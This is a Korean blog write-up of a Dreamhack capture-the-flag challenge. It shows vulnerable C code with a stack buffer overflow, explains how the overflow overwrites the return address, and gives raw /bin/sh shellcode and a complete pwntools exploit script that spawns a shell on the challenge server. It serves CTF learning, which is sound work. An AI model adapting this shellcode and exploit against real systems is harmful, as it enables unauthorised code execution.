basic_exploitation_000

곽무경·2022년 7월 1일

System Hacking Quiz

목록 보기
8/21

C 코드를 먼저 보면,

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

버퍼의 크기는 0x80 (128)이고 버퍼를 받아오는 scanf 함수에서는 141자리를 받아온다.
즉, 128자리를 초과해서 받아올 수 있다.

처음 main 함수가 호출될 때,
main함수들의 인자들(argc, argv)이 스택에 쌓일 것이고( i386 아키텍처이므로 )
다음으로 반환 주소, SFP(Stack Frame Pointer), 지역변수 (buf)가 쌓일 것이다.

따라서 scanf에 128자리보다 많이 입력해서 반환 주소 영역을 오염시키면 될 것이다.

프로그램을 실행해보면, 친절하게 버퍼의 주소를 알려준다.

버퍼 입력을 셸코드+아무문자+버퍼의 주소 로 주게 되면, main 함수가 반환하면서
기존의 흐름을 이어나가는것이 아닌, 버퍼의 주소로 이동하게 되어
우리가 입력한 셸코드가 실행되는 원리이다.

셸코드 출처
https://security-nanglam.tistory.com/117

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

scanf로 입력을 받기 때문에, 여러가지 제약이 많았다.
(scanf는 \x09, \x0a, \x0b, \x0c, \x0d, \x20를 읽지 못함)

이제 파이썬 코드를 짜보자.

from pwn import *

p=remote("host3.dreamhack.games",12479)
context.arch="i386"

p.recvuntil("buf = (")                # 앞부분은 버리고,
buf=int(p.recvn(10),16)               # 주소 부분 10자리만 획득
shellcode=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
length=len(shellcode)
shellcode+=b'A'*(132-length)          # scanf에서 총 141자리를 받으므로, 입력 가능한 총자리수는 140자리
shellcode+=p32(buf)                   # 140-8(buf가 8자리)-length(셸코드 길이) 만큼 아무 문자나 채워넣기

p.sendline(shellcode)                 # 완성한 셸코드 전송
p.interactive()                       # 셸 획득 후 상호작용(cat flag)

추가적인 지식

syscall 에서

  • x86-64의 경우
    • syscall의 인자가 각각 rdi, rsi, rdx, ...에 들어간다.
    • syscall의 번호가 0x3b이다.
  • x86의 경우
    • syscall의 인자가 각각 ebx, ecx, edx, ...에 들어간다.
    • syscall의 번호가 0x0b이다.

0개의 댓글